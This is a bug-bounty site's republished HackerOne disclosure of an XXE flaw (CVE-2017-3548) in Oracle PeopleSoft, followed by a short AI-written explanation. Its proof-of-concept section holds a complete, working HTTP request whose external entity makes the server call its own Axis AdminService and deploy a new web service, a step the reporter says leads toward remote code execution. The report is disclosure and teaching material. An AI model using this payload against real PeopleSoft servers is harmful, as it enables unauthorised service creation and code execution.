Skip to content
XXE Disclosed report Advanced CVE-2017-3548

XXE with RCE potential on the https://█████████ (CVE-2017-3548)

An Oracle PeopleSoft instance was vulnerable to XML External Entity injection (CVE-2017-3548), allowing an attacker to make the server fetch a URL on its own localhost. By abusing this, the researcher created a new Apache Axis web service on the server, which could be extended to remote code execution.

sp1d3rs Follow

Originally disclosed on HackerOne

  • Triaged in under an hour
  • Fixed in 9 days
  • Disclosed after 4.8 years

##Description Hello. I was able to identify XXE on the https://███████ It is CVE in Oracle PeopleSoft (CVE-2017-3548)

##POC I determined that instance is available on localhost port 80, so it's possible to access /pspc/services/AdminService via XXE:

POST /PSIGW/PeopleSoftServiceListeningConnector HTTP/1.1
Host: ████████
Content-Type: application/xml
Content-Length: 608

<!DOCTYPE a PUBLIC "-//B/A/EN" "http://localhost:80/pspc/services/AdminService?method=%21--%3E%3Cns1%3Adeployment+xmlns%3D%22http%3A%2F%2Fxml.apache.org%2Faxis%2Fwsdd%2F%22+xmlns%3Ajava%3D%22http%3A%2F%2Fxml.apache.org%2Faxis%2Fwsdd%2Fproviders%2Fjava%22+xmlns%3Ans1%3D%22http%3A%2F%2Fxml.apache.org%2Faxis%2Fwsdd%2F%22%3E%3Cns1%3Aservice+name%3D%22h1testservice%22+provider%3D%22java%3ARPC%22%3E%3Cns1%3Aparameter+name%3D%22className%22+value%3D%22org.apache.pluto.portalImpl.Deploy%22%2F%3E%3Cns1%3Aparameter+name%3D%22allowedMethods%22+value%3D%22%2A%22%2F%3E%3C%2Fns1%3Aservice%3E%3C%2Fns1%3Adeployment">

where h1testservice is test service name I'm trying to create.

The result:

https://██████████/pspc/services/h1testservice

█████ I created new service on server.

It's possible to go further like other researcher did in the #227880 but I don't think that dropping shell is necessary (since it's already proved that we can create our Apache Axis service.

##Suggested fix Patch Oracle PeopleSoft instance.

Impact

Remote code execution, internal network access.

The original report as published on HackerOne, by sp1d3rs. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

Likely the XML parser on the PeopleSoft listening connector accepted external entities and resolved them, letting the attacker reach an internal-only admin endpoint.

Impact

An attacker could create arbitrary Apache Axis services on the server, which the report says could lead to remote code execution and internal network access.

What the attacker needed

Network access to the PeopleSoft connector; unpatched PeopleSoft instance

The fix

The PeopleSoft instance should be patched to address CVE-2017-3548.

How it was found

  1. Send an XML request to the PeopleSoft service listening connector with an external entity pointing at the local admin service URL.
  2. The server resolves the entity and calls its own AdminService, which creates a new Axis service named in the request.
  3. Confirm the new service exists by requesting its path on the server.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

XML External Entity (XXE) is a flaw where a server parses XML input and follows special 'entity' references inside it, letting an attacker make the server fetch files or URLs. Here the attacker pointed such a reference at the server's own internal admin endpoint, which then created a new web service. That new service could be used to run code on the machine.

What is XXE?

An XML parser resolves entities the attacker defines, reading local files or making the server send requests.

More by sp1d3rs

View all

62 more disclosed reports, best first.

More from U.S. Dept Of Defense

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

XML external entities (XXE)

The lesson behind this report.

An XML parser resolves entities the attacker defines, reading local files or making the server send requests.